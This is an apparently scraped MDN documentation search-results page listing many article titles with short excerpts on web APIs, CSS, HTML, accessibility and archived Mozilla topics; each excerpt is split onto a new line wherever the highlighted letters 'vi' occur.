visual studio that supports c++ development: vs 2012 for windows desktop pro or express (free), or vc++ 2010 pro or express (free), or vc++ 2008 pro or express with sp1 (free) (warning !
... from firefox 10, the compilator is
visual studio 2010; if you want to use it, you must use a pre
vious version of it !), or 2005 professional from build_instructions those who need to work with the code for firefox 3/mozilla 1.9 and earlier can check out the latest source using cvs.
...if you're using
visual studio, go to project properties > c/c++ > language > treat wchar_t as built-in type and set it to "yes".
...And 24 more matches
DMD
you can dump that information to file, gi
ving a profile of the live heap blocks at that point in time.
...you can dump that information to file, gi
ving a profile of the heap usage for the entire session.
...to have dmd active while running it, you just need to set the en
vironment variable dmd=1 when running.
...And 24 more matches
NSS tools : modutil
modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default pro
viders for cryptographic operations.
... -default modulename specify the security mechanisms for which the named module will be a default pro
vider.
... -undefault modulename specify the security mechanisms for which the named module will not be a default pro
vider.
...And 24 more matches
Shell global objects
sourcemapurl if present with value v, convert v to a string, and pro
vide that as the code's source map url.
... if omitted, attach no source map url to the code (although the code may pro
vide one itself,
via a //#sourcemappingurl comment).
...this hook is used to look up a pre
viously loaded module object.
...And 24 more matches
mozIRegistry
it's not really about any "registry interface" so much as it's about how mozilla supports a more dynamic binding between interface clients and the code that actually pro
vides the implementation of those interfaces.
...clients requiring dynamic "binding" of clsids will be required to use some higher-level ser
vices (tbd) to figure out the clsids they should use.
... the intent is that such ser
vices themselves be built on top of the new moziregistry interface.
...And 24 more matches
IDBDatabase - Web APIs
the idbdatabase interface of the indexeddb api pro
vides a connection to a database; you can use an idbdatabase object to open a transaction on your database then create, manipulate, and delete objects (data) in that database.
... the interface pro
vides the only way to get and manage versions of the database.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
...And 24 more matches
SpeechRecognition - Web APIs
the speechrecognition interface of the web speech api is the controller interface for the recognition ser
vice; this also handles the speechrecognitionevent sent from the recognition ser
vice.
...your audio is sent to a web ser
vice for recognition processing, so it won't work offline.
...the speechrecognitionresult.isfinal property is false.) speechrecognition.maxalternatives sets the maximum number of speechrecognitionalternatives pro
vided per result.
...And 24 more matches
WebGL best practices - Web APIs
webgl is a complicated api, and it's often not ob
vious what the recommended ways to use it are.
...in practice, effectively all systems support at least the following: max_cube_map_texture_size: 4096 max_renderbuffer_size: 4096 max_texture_size: 4096 max_
viewport_dims: [4096,4096] max_vertex_texture_image_units: 4 max_texture_image_units: 8 max_combined_texture_image_units: 8 max_vertex_attribs: 16 max_varying_vectors: 8 max_vertex_uniform_vectors: 128 max_fragment_uniform_vectors: 64 aliased_point_size_range: [1,100] your desktop may support 16k textures, or maybe 16 texture units in the vertex shader, but most oth...
... estimate a per-pixel vram budget webgl doesn't offer apis to query the maximum amount of
video memory on the system because such queries are not portable.
...And 24 more matches
Window.open() - Web APIs
pro
viding an empty string for url is a way to get a reference to an open window by its name without changing the window's location.
...firefox (50.0.1) functions as described: from the same domain+port reopen with same name will access the pre
viously created window.
...for now 10/01/2017 the differencies of beha
vior found recently have not still been tested for others browsers.
...And 24 more matches
<link>: The External Resource Link element - HTML: Hypertext Markup Language
this element is most commonly used to link to stylesheets, but is also used to establish site icons (both "fa
vicon" style icons and icons for the home screen and apps on mobile de
vices) among other things.
... to link an external stylesheet, you'd include a <link> element inside your <head> like this: <link href="main.css" rel="stylesheet"> this simple example pro
vides the path to the stylesheet inside an href attribute, and a rel attribute with a value of stylesheet.
...for example, a link to the site's fa
vicon: <link rel="icon" href="fa
vicon.ico"> there are a number of other icon rel values, mainly used to indicate special icon types for use on various mobile platforms, e.g.: <link rel="apple-touch-icon-precomposed" sizes="114x114" href="apple-icon-114.png" type="image/png"> the sizes attribute indicates the icon size, while the type contains the mime type of the resource being linked.
...And 24 more matches
Image file type and format guide - Web media technologies
in this guide, we'll cover the image file types generally supported by web browsers, and pro
vide insights that will help you select the most appropriate formats to use for your site's imagery.
... abbre
viation file format mime type file extension(s) browser compatibility apng animated portable network graphics image/apng .apng chrome, edge, firefox, opera, safari bmp bitmap file image/bmp .bmp chrome, edge, firefox, internet explorer, opera, safari gif graphics interchange format image/gif .gif chrome, edge, firefox, internet explorer, opera, safari ico microsoft icon image/x-icon .ico, .cur chr...
...ng chrome, edge, firefox, internet explorer, opera, safari svg scalable vector graphics image/svg+xml .svg chrome, edge, firefox, internet explorer, opera, safari tiff tagged image file format image/tiff .tif, .tiff none built-in; add-ons required webp web picture format image/webp .webp chrome, edge, firefox, opera the abbre
viation for each format links to a longer description of the format, its capabilities, and detailed browser compatibility information; including which versions introduced support and specific special features that may have been introduced later.
...And 24 more matches
Progressive web app structure - Progressive web apps (PWAs)
pre
vious over
view: progressive web apps next now that we know the theory behind pwas, let's look at the recommended structure of an actual app.
... server-side rendering (ssr) means a website is rendered on the server, so it offers quicker first load, but na
vigating between pages requires downloading new html content.
... it works great across browsers, but it suffers in terms of time na
vigating between pages and therefore general perceived performance — loading a page requires a new round trip to the server.
...And 24 more matches
Search Extension Tutorial (Draft) - Archive of obsolete content
while this is generally considered acceptable beha
vior, considerable care must be taken to avoid
violating the mozilla add-on guidelines or creating an adverse user experience.
...other settings
violations designed to restrict user choice will result in stronger action, such as blacklisting of the add-ons in question.
... the most technically sound method of achie
ving this, and the only acceptable way of changing preferences such that they are automatically restored on add-on uninstall, is to make such changes in the default preference branch, as explained below.
...And 23 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
it can be a way to ensure a smooth user-experience when obtaining plugins, without obliging the user to exit the browsing en
vironment to launch a binary installer (the classic setup.exe experience on windows) or obliging the user to restart their browser.
...exe) installer, xpinstall can wrap this native installer and run it so that the user never has to leave the browsing en
vironment and click on the exe to run it.
... this article presents a guideline for impro
ving the plugin installation experience for netscape gecko browsers using xpinstall.
...And 23 more matches
Adding features to our bouncing balls demo - Learn web development
pre
vious over
view: objects in this assessment, you are expected to use the bouncing balls demo from the pre
vious article as a starting point, and add some new and interesting features to it.
... project brief our bouncy ball demo is fun, but now we want to make it a little bit more interactive by adding a user-controlled e
vil circle, which will eat the balls if it catches them.
... we also want to test your object-building skills by creating a generic shape() object that our balls and e
vil circle can inherit from.
...And 23 more matches
Storage access policy: Block cookies from trackers
specifically, we check the exact hostname of the resource against the list, as well as the last four hostnames formed by starting with the last five components and successively remo
ving the leading component.
...this prevents those resources from retrie
ving tracking identifiers stored in cookies or site storage and using them to identify users across
visits to multiple first parties.
... return an empty string for calls to document.cookie and ignore requests to set cookies
via document.cookie.
...And 23 more matches
Debugger.Frame - Firefox Developer Tools
debugger.frame a debugger.frame instance represents a
visible stack frame.
... given a debugger.frame instance, you can find the script the frame is executing, walk the stack to older frames, find the lexical en
vironment in which the execution is taking place, and so on.
... for a given debugger instance, spidermonkey creates only one debugger.frame instance for a given
visible frame.
...And 23 more matches
HTMLElement - Web APIs
some elements directly implement this interface, while others implement it
via an interface that inherits it.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/nod...
... htmlelement.dropzone read only returns a domsettabletokenlist reflecting the dropzone global attribute and describing the beha
vior of the element regarding a drop operation.
...And 23 more matches
Using bounded reference spaces - Web APIs
not only is it represented by a unique subclass, xrboundedreferencespace, but it's the only one which restricts movement based not upon
virtual restrictions but upon limitations imposed by the real world.
... there are many uses for bounded reference spaces, including projects such as
virtual paint studios or 3d construction, modeling, or sculpting systems; training simulations or lesson scenarios; dance or other performance-based games; or the pre
view of 3d objects in the real world using augmented reality.
... introduction a bounded reference space is one which represents an xr en
vironment in which the user is able to move around physically in the real world while being tracked by the xr hardware, with their movements being then transposed into the simulation.
...And 23 more matches
Operable - Accessibility
this article pro
vides practical ad
vice on how to write your web content so that it conforms to the success criteria outlined in the operable principle of the web content accessibility guidelines (wcag) 2.0 and 2.1.
... operable states that user interface components and na
vigation must be operable.
... note: to read the w3c definitions for operable and its guidelines and success criteria, see principle 2: operable — user interface components and na
vigation must be operable.
...And 23 more matches
position - CSS: Cascading Style Sheets
it is positioned relative to the initial containing block established by the
viewport, except when one of its ancestors has a transform, perspective, or filter property set to something other than none (see the css transforms spec), in which case that ancestor behaves as the containing block.
...this effectively inhibits any "sticky" beha
vior (see the github issue on w3c csswg).
...however, non-replaced, absolutely positioned elements can be made to fill the available vertical space by specifying both top and bottom and lea
ving height unspecified (that is, auto).
...And 23 more matches
Index - Developer guides
found 43 pages: # page tags and summary 1 developer guides api, guide, landing, web these articles pro
vide how-to information to help make use of specific web technologies and apis.
... 6 audio and
video delivery audio, guide, html, html5, media,
video whether we are dealing with pre-recorded audio files or live streams, the mechanism for making them available through the browser's <audio> and <
video> elements remains pretty much the same.
... 7 adding captions and subtitles to html5
video html5, media, webvtt, captions, subtitles, track in other articles we looked at how to build a cross browser
video player using the htmlmediaelement and window.fullscreen apis, and also at how to style the player.
...And 23 more matches
Adding Events and Commands - Archive of obsolete content
« pre
viousnext » event handlers just like with html, most javascript code execution is triggered by event handlers attached to dom elements.
... please read appendix a for recommendations on how to use the load event to initialize your add-on without ha
ving a negative performance impact on firefox.
... another way to attach event handlers, just like html, is to place the handler in the xul code: <overlay id="xulschoolhello-browser-overlay" onload="xulschoolchrome.browseroverlay.init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> we prefer the first method because it keeps a better separation of content and beha
vior.
...And 22 more matches
XPCOM Objects - Archive of obsolete content
« pre
viousnext » xpcom xpcom is a cross platform component object model, similar to microsoft com.
...this lower layer is called xulrunner, and it is a very powerful platform, pro
viding a very robust development base for web-enabled, cross-platform applications.
... using xpcom components is relatively simple, as you've seen in pre
vious examples.
...And 22 more matches
RDF in Mozilla FAQ - Archive of obsolete content
the rdf back-end architecture document describes in more detail how mozilla's rdf implementation works, and gives a quick over
view of the interfaces that are involved.
... rdf can generally be
viewed in two ways: either as a graph with nodes and arcs, or as a "soup" of logical statements.
... a datasource is a subgraph (or collection of statements, depending on your
viewpoint) that are for some reason collected together.
...And 22 more matches
Building up a basic demo with Three.js - Game development
three.js, as with any other 3d library, pro
vides built-in helper functions to help you implement common 3d functionality more quickly.
... in this article we'll take you through the real basics of using three, including setting up a development en
vironment, structuring the necessary html, the fundamental objects of three, and how to build up a basic demo.
... en
vironment setup to start developing with three.js, you don't need much.
...And 22 more matches
Styling links - Learn web development
pre
vious over
view: styling text next when styling links, it is important to understand how to make use of pseudo-classes to style link states effectively, and how to style links for use in common varied interface features such as na
vigation menus and tabs.
... objective: to learn how to style link states, and how to use links effectively in common ui features like na
vigation menus.
... link states the first thing to understand is the concept of link states — different states that links can exist in, which can be styled using different pseudo-classes: link (un
visited): the default state that a link resides in, when it isn't in any other state.
...And 22 more matches
How much does it cost to do something on the Web? - Learn web development
objective: re
view the complete process for creating a website and find out how much each step can cost.
... many editors are free, for example atom, brackets, bluefish, textwrangler, eclipse, netbeans, and
visual studio code.
...some of them, like microsoft
visual studio, can cost hundreds, or thousands of dollars; though
visual studio express is free for indi
vidual developers or open source projects.
...And 22 more matches
UI pseudo-classes - Learn web development
pre
vious over
view: forms next in the pre
vious articles, we covered the styling of various form controls, in a general manner.
...by being tabbed to
via the keyboard).
...more recently, the css selector level 3 and css basic ui level 3 added more pseudo-classes related to html forms that pro
vide several other useful targetting conditions that you can take advantage of.
...And 22 more matches
What’s in the head? Metadata in HTML - Learn web development
pre
vious over
view: introduction to html next the head of an html document is the part that is not displayed in the web browser when the page is loaded.
... it contains information such as the page <title>, links to css (if you choose to style your html content with css), links to custom fa
vicons, and other metadata (data about the html, such as the author, and important keywords that describe the document.) in this article we'll cover all of the above and more, in order to give you a good basis for working with markup.
... let's re
visit the simple html document we covered in the pre
vious article: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my test page</title> </head> <body> <p>this is my page</p> </body> </html> the html head is the contents of the <head> element — unlike the contents of the <body> element (which are displayed on the page when loaded in a browser), the head's content is not displayed on the page.
...And 22 more matches
Framework main features - Learn web development
pre
vious over
view: client-side javascript frameworks next each major javascript framework has a different approach to updating the dom, handling browser events, and pro
viding an enjoyable developer experience.
... jsx jsx, which stands for javascript and xml, is an extension of javascript that brings html-like syntax to a javascript en
vironment.
... when used with react, the jsx from the pre
vious snippet would be compiled into this: var subject = "world"; var header = react.createelement("header", null, react.createelement("h1", null, "hello, ", subject, "!") ); when ultimately rendered by the browser, the above snippet will produce html that looks like this: <header> <h1>hello, world!</h1> </header> handlebars the handlebars templating language is not specific to ember applic...
...And 22 more matches
OS.File for the main thread
let writestream = function writestream(data, outfile, chunksize) { let
view = new uint8array(data); let loop = function loop(pos) { // define a recursive asynchronous loop.
... if (pos <=
view.bytelength) { // note: should this be pos >=
view.bytelength ?
... } let promise = file.write(
view.subarray(pos, chunksize)); // write a subset of |data| return promise.then(function onsuccess(bytes) { return loop(pos + bytes); // ...
...And 22 more matches
Mozilla DOM Hacking Guide
class info and helper classes introduction to class info class info is what gives the dom classes their correct beha
vior when used through xpconnect.
...by "correct beha
vior", i mean "the intended beha
vior with respect to the specification or de facto standard".
...the goals of class info are twofold: interface flattening, and implementing beha
viors that are not possible with idl alone.
...And 22 more matches
Examine and edit CSS - Firefox Developer Tools
examine css rules the rules
view lists all the rules that apply to the selected element, ordered from most-specific to least-specific: the four buttons on the right top of the rules
view allow you to change the display of certain css and rules
view features.
... inactive rules (not shown): if a rule is inactive (e.g., padding on a :
visited pseudo-element), it is colored gray, with an info icon that gives more information when clicked.
... to
view user-agent styles (i.e., browser-default css rules), enable "inspector > show browser styles" under the developer tool settings panel.
...And 22 more matches
BluetoothCharacteristicProperties - Web APIs
the bluetoothcharacteristicproperties interface of the the web bluetooth api pro
vides the operations that are valid on the given bluetoothremotegattcharacteristic.
... let de
vice = await na
vigator.bluetooth.requestde
vice({ filters: [{ser
vices: ['heart_rate']}] }); let gatt = await de
vice.gatt.connect(); let ser
vice = await gatt.getprimaryser
vice('heart_rate'); let characteristic = await ser
vice.getcharacteristic('heart_rate_measurement'); if (characteristic.properties.notify) { characteristics.addeventlistener('characteristicvaluechanged', function(event) { ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbluetoothcharacteristicproperties experimentalchrome full support 56notes full support 56notes notes chromeos and macos only.
...And 22 more matches
Using the Media Capabilities API - Web APIs
the media capabilities api pro
vides several key features to help you better decide how to handle media, but also to determine how well media is being handled, in real time.
... more and more finely-detailed information about the display's properties, so that informed decisions can be made when choosing the best format to play on the user's de
vice.
...one feature of this is the ability to detect when the de
vice switches gpus, so you can make appropriate adjustments based on the new gpu's capabilities.
...And 22 more matches
WebRTC API - Web APIs
webrtc (web real-time communication) is a technology which enables web applications and sites to capture and optionally stream audio and/or
video media, as well as to exchange arbitrary data between browsers without requiring an intermediary.
... interoperability because implementations of webrtc are still evol
ving, and because each browser has different levels of support for codecs and webrtc features, you should strongly consider making use of the adapter.js library pro
vided by google before you begin to write your code.
... adapter.js uses shims and polyfills to smooth over the differences among the webrtc implementations across the en
vironments supporting it.
...And 22 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
understaning color, luminance, and saturation is important in meeting wcag 2 accessibility guidelines in terms of ensuring enough color contrast for sighted users with color blindness or reduced
vision and preventing seizures and other physical reactions in people with vestibular disorders.
... over
view colors, and how they are used, are a major component of accessibility.
... en
vironment matters.
...And 22 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
abbre
viation file format mime type file extension(s) browser compatibility apng animated portable network graphics image/apng .apng chrome, edge, firefox, opera, safari bmp bitmap file image/bmp .bmp chrome, edge, firefox, internet explorer, opera, safari gif graphics interchange format image/gif .gif chrome, edge, firefox, in...
...ng chrome, edge, firefox, internet explorer, opera, safari svg scalable vector graphics image/svg+xml .svg chrome, edge, firefox, internet explorer, opera, safari tiff tagged image file format image/tiff .tif, .tiff none built-in; add-ons required webp web picture format image/webp .webp chrome, edge, firefox, opera the abbre
viation for each format links to a longer description of the format, its capabilities, and detailed browser compatibility information; including which versions introduced support and specific special features that may have been introduced later.
...there are a number of situations in which a browser might not display images, such as: non-
visual browsers (such as those used by people with
visual impairments) the user chooses not to display images (sa
ving bandwidth, privacy reasons) the image is invalid or an unsupported type in these cases, the browser may replace the image with the text in the element's alt attribute.
...And 22 more matches
Closures - JavaScript
a closure is the combination of a function bundled together (enclosed) with references to its surrounding state (the lexical en
vironment).
... closure consider the following code example: function makefunc() { var name = 'mozilla'; function displayname() { alert(name); } return displayname; } var myfunc = makefunc(); myfunc(); running this code has exactly the same effect as the pre
vious example of the init() function above.
...however, because the code still works as expected, this is ob
viously not the case in javascript.
...And 22 more matches
Web media technologies
over the years, the web's ability to present, create, and manage audio,
video, and other media has grown at an increasing pace.
...these can be used in
visibly as a destination for more complex media, or with
visible controls for user-controlled playback of audio files.
... <
video> the <
video> element is an endpoint for
video content in a web context.
...And 22 more matches
Populating the page: how browsers work - Web Performance
over
view fast sites pro
vide better user experiences.
... two major issues in web performance are understanding issues ha
ving to do with latency and issues ha
ving to do with the fact that for the most part, browsers are single threaded.
... na
vigation na
vigation is the first step in loading a web page.
...And 22 more matches
Modules - Archive of obsolete content
unfortunately, javascript does not yet have native support for modules: it has to rely on the host application to pro
vide it with functionality such as loading subscripts, and exporting/ importing names.
... we will show how to do each of these things using the built-in components object pro
vided by xulrunner application such as firefox and thunderbird.
...each compartment has a set of pri
vileges that determines what scripts running in that compartment can and cannot do.
...And 21 more matches
JavaScript Client API - Archive of obsolete content
over
view this page describes how to use the internal client-side sync javascript api.
... please note that usage of the sync apis is governed by a terms of ser
vice: by accessing or using the firefox sync apis in connection with the development of your own client software to access the firefox sync ser
vices (a “third party client”), you acknowledge that you will need to install and use a local version of the firefox sync server for multiple account testing and that any use of mozilla’s hosted firefox sync ser
vices is subject to mozilla’s firefox sync terms of ser
vice at https://ser
vices.mozil...
...ow data collected or transmitted by your third party client is managed and protected; (b) that your third party client will only store data in encrypted form on the firefox sync servers operated by mozilla; (c) that you and your third party client will use the firefox sync apis solely for their intended purpose; (d) that your third party client will not hide or mask its identity as it uses the ser
vices and/or firefox sync apis, including by failing to follow required identification conventions; and (e) that you and your third party client will not use the firefox sync apis for any application or ser
vice that replicates or attempts to replicate the ser
vices or firefox sync experience unless such use is non-confusing (by non-confusing, we mean that people should always know with whom they are ...
...And 21 more matches
Mozilla Crypto FAQ - Archive of obsolete content
note that this document is for your information only and is not intended as legal ad
vice.
...encryption export regulations published on january 14, 2000, the release on february 11, 2000, of source code for ssl, s/mime, and general pki functionality for use in the mozilla project, and the "bernstein ad
visory" issued by the bureau of export administration on february 17, 2000.
...in february 2000 iplanet e-commerce solutions (a sun-netscape alliance) released source code through mozilla.org for the personal security manager and network security ser
vices software; this source code included support for the ssl protocol, but due to the rsa patent and related legal issues it did not originally contain code for rsa or other cryptographic algorithms.
...And 21 more matches
XUL Structure - Archive of obsolete content
« pre
viousnext » we'll begin by looking at how the xul is handled in mozilla.
...for this reason, mozilla pro
vides a method of installing content locally and registering the installed files as part of its chrome system.
...by accessing a file using a chrome url, the files receive elevated pri
vileges to access local files, access preferences and bookmarks and perform other pri
vileged operations.
...And 21 more matches
Gecko Compatibility Handbook - Archive of obsolete content
gecko since 1997, much of the web's content has been developed for microsoft internet explorer 4 or netscape na
vigator 4.
... internet explorer 4 and netscape na
vigator 4 share support for a large part of the html 3.2 standard and basic javascript.
... neither internet explorer 4 or netscape na
vigator 4 support the w3 dom.
...And 21 more matches
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
over
view there are a number of standards, procedures, and processes that an organization can use.
...adherence to standards and processes can actually pro
vide a level of flexibility because development does become predictable.
... this process is not unique: most organizations have basic project management processes for product or ser
vice.
...And 21 more matches
Debugging CSS - Learn web development
pre
vious over
view: building blocks next sometimes when writing css you will encounter an issue where your css doesn't seem to be doing what you expect.
...for example in firefox there are some excellent tools for working
visually with css layout, allowing you to inspect and edit grid layouts, flexbox, and shapes.
... the dom versus
view source something that can trip up newcomers to devtools is the difference between what you see when you
view the source of a webpage, or look at the html file you put on the server, and what you can see in the html pane of the devtools.
...And 21 more matches
Grids - Learn web development
pre
vious over
view: css layout next css grid layout is a two-dimensional layout system for the web.
...they help us to create designs where elements don’t jump around or change width as we move from page to page, pro
viding greater consistency on our websites.
... creating your grid in css ha
ving decided on the grid that your design needs, you can use css grid layout to create that grid in css and place items onto it.
...And 21 more matches
Positioning - Learn web development
pre
vious over
view: css layout next positioning allows you to take elements out of the normal document layout flow, and make them behave differently; for example sitting on top of one another, or always remaining in the same place inside the browser
viewport.
... introducing positioning the whole idea of positioning is to allow us to override the basic document flow beha
vior described above, to produce interesting effects.
...this is fine — as we said before, static positioning is the default beha
vior!
...And 21 more matches
Introduction to web APIs - Learn web development
over
view: client-side web apis next first up, we'll start by looking at apis from a high level — what are they, how do they work, how to use them in your code, and how are they structured?
...they abstract more complex code away from you, pro
viding some easier syntax to use in its place.
... apis in client-side javascript client-side javascript, in particular, has many apis available to it — these are not part of the javascript language itself, rather they are built on top of the core javascript language, pro
viding you with extra superpowers to use in your javascript code.
...And 21 more matches
Accessibility in React - Learn web development
pre
vious over
view: client-side javascript frameworks next in our final tutorial article, we'll focus on (pun intended) accessibility, including focus management in react, which can improve usability and reduce confusion for both keyboard-only and screenreader users.
...this outline is your
visual indicator that the browser is currently focused on this element.
... focusing between templates when a user toggles a <todo/> template from
viewing to editing, we should focus on the <input> used to rename it; when they toggle back from editing to
viewing, we should move focus back to the "edit" button.
...And 21 more matches
Accessibility API cross-reference
the gnome accessibility architecture is implemented
via atk and at-spi, and was implemented by sun microsystems.
... it will be reused for kde accessibility
via at-spi .
...in tagged pdf n/a n/a expressed with aria-labelledby if
visible on screen or aria-label otherwise <caption> (for tables), <figcaption> (for figures), and <label> with a for attribute (for input elements) a <toc> or <l> may contain a <caption> as its first item <caption> or <lbl> a cell in a table cell n/a table_cell cell <td> td not what you think - this is for the damn paperclip character...
...And 21 more matches
Software accessibility: Where are we today?
this article re
views the progress and technology as it has developed.
...up until this point, the largest dri
ving force behind desktop computing en
vironments has been microsoft, first with ms dos, followed by variants of microsoft windows.
...here are some of the groups of people that have problems doing some of those tasks: print disabled: blind, deaf-blind, low
vision, obstructed
vision, dyslexic, cognitively disabled and illiterate indi
viduals.
...And 21 more matches
Experimental features in Firefox
html element: <dialog> the html <dialog> element and its associated dom apis pro
vide support for html-based modal dialog boxes.
... nightly 75 yes developer edition 75 no beta 75 no release 75 no preference name dom.forms.inputmode <link rel="preload"> the <link> element's rel attribute is intended to help pro
vide performance gains by letting you download resources earlier in the page lifecycle, ensuring that they're available earlier and are less likely to block page rendering.
... nightly 43 yes developer edition 43 no beta 43 no release 43 no preference name layout.css.control-characters.enabled or layout.css.control-characters.
visible property: initial-letter the initial-letter css property is part of the css inline layout specification and allows you to specify how dropped, raised, and sunken initial letters are displayed.
...And 21 more matches
Necko Architecture
necko pro
vides the following libraries: necko - core networking functionality.
... mimetype - mime <-> file extension mapping nkabout - about: protocol nkdata - data: protocol nkfile - file: protocol nkftp - ftp: protocol nkkeyword - keyword: protocol nkresrc - resource: protocol cnvts - stream converters stremcnv - stream converter ser
vice these libraries will change with time and illustrate the modularity of necko.
... architecture after a few iterations of our original design, the current necko architecture looks something like this: urls necko's primary responsibility is mo
ving data from one location, to another location.
...And 21 more matches
nsIAccessibleRole
role_tooltip 13 represents a tooltip that pro
vides helpful hints.
...users can na
vigate between panes and within the contents of the current pane, but cannot na
vigate between items in different panes.
... thus, panes represent a level of grouping lower than frame windows or documents, but above indi
vidual controls.
...And 21 more matches
about:debugging (before Firefox 68) - Firefox Developer Tools
the about:debugging page pro
vides a single place from which you can attach the firefox developer tools to a number of debugging targets.
... in the tools > web developer menu, click "ser
vice workers".
... select the web developer menu under the hamburger menu (), then select "ser
vice workers".
...And 21 more matches
The HTML DOM API - Web APIs
the functional areas included in the html dom api include: access to and control of html elements
via the dom.
... management of media connected to the html media elements (<audio> and <
video>).
... access to the browser na
vigation history supporting and connective interfaces for other apis such as web components, web storage, web workers, websocket, and server-sent events.
...And 21 more matches
IDBTransaction - Web APIs
the idbtransaction interface of the indexeddb api pro
vides a static, asynchronous transaction on a database using event handler attributes.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
... firefox durability guarantees note that as of firefox 40, indexeddb transactions have relaxed durability guarantees to increase performance (see bug 1112702.) pre
viously in a readwrite transaction idbtransaction.oncomplete was fired only when all data was guaranteed to have been flushed to disk.
...And 21 more matches
Recording a media element - Web APIs
while the article using the mediastream recording api demonstrates using the mediarecorder interface to capture a mediastream generated by a hardware de
vice, as returned by na
vigator.mediade
vices.getusermedia(), you can also use an html media element (namely <audio> or <
video>) as the source of the mediastream to be recorded.
... html content <p>click the "start" button to begin
video recording for a few seconds.
... you can stop the
video by clicking the creatively-named "stop" button.
...And 21 more matches
SVGSVGElement - Web APIs
the svgsvgelement interface pro
vides access to the properties of <svg> elements, as well as methods to manipulate them.
... this interface contains also various miscellaneous commonly-used utility methods, such as matrix operations and the ability to control the time of redraw on
visual rendering de
vices.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/no...
...And 21 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
this article introduces webrtc perfect negotiation, describing how it works and why it's the recommended way to negotiate a webrtc connection between peers, and pro
vides sample code to demonstrate the technique.
...as far as your application is concerned, it makes no difference whether you're calling out or recei
ving a call.
...it could be as simple as assigning the polite role to the first peer to connect to the signaling server, or you could do something more elaborate like ha
ving the peers exchange random numbers and assigning the polite role to the winner.
...And 21 more matches
Web Audio API - Web APIs
the web audio api pro
vides a powerful and versatile system for controlling audio on the web, allowing developers to choose audio sources, add effects to audio, create audio
visualizations, apply spatial effects (such as panning) and much more.
...this modular design pro
vides the flexibility to create complex audio functions with dynamic effects.
...sources pro
vide arrays of sound intensities (samples) at very small timeslices, often tens of thousands of them per second.
...And 21 more matches
pointer-events - CSS: Cascading Style Sheets
syntax /* keyword values */ pointer-events: auto; pointer-events: none; pointer-events:
visiblepainted; /* svg only */ pointer-events:
visiblefill; /* svg only */ pointer-events:
visiblestroke; /* svg only */ pointer-events:
visible; /* svg only */ pointer-events: painted; /* svg only */ pointer-events: fill; /* svg only */ pointer-events: stroke; /* svg only */ pointer-events: all; /* svg only */ /* global values */ pointer-events: inher...
...in svg content, this value and the value
visiblepainted have the same effect.
... svg only (experimental for html)
visiblepainted svg only (experimental for html).
...And 21 more matches
Setting up adaptive streaming media sources - Developer guides
we are required to pro
vide several different quality files split up over several time points.
...various bitrate streams are broken into segments and placed in appropriate server folders — we have to pro
vide our media players with a link to lookup files or playlists specifying the name and location of these stream folders.
...in your
video source (src) attribute you point to the mpd instead of to the media file as you would with non-adaptive media.
...And 21 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
then we'll wrap things up with a brief discussion of how to use color wisely: how to select appropriate colors, keeping in mind the needs of people with differing
visual capabilities.
...however, you can override that beha
vior and use a different color for them with the text-decoration-color property.
...hue defines the actual color based on the position along a circular color wheel representing the colors of the
visible spectrum.
...And 21 more matches
<input type="file"> - HTML: Hypertext Markup Language
<input> elements with type="file" let the user choose one or more files from their de
vice storage.
... additional attributes in addition to the common attributes shared by all <input> elements, inputs of type file also support the following attributes: attribute description accept one or more unique file type specifiers describing file types to allow capture what source to use for capturing image or
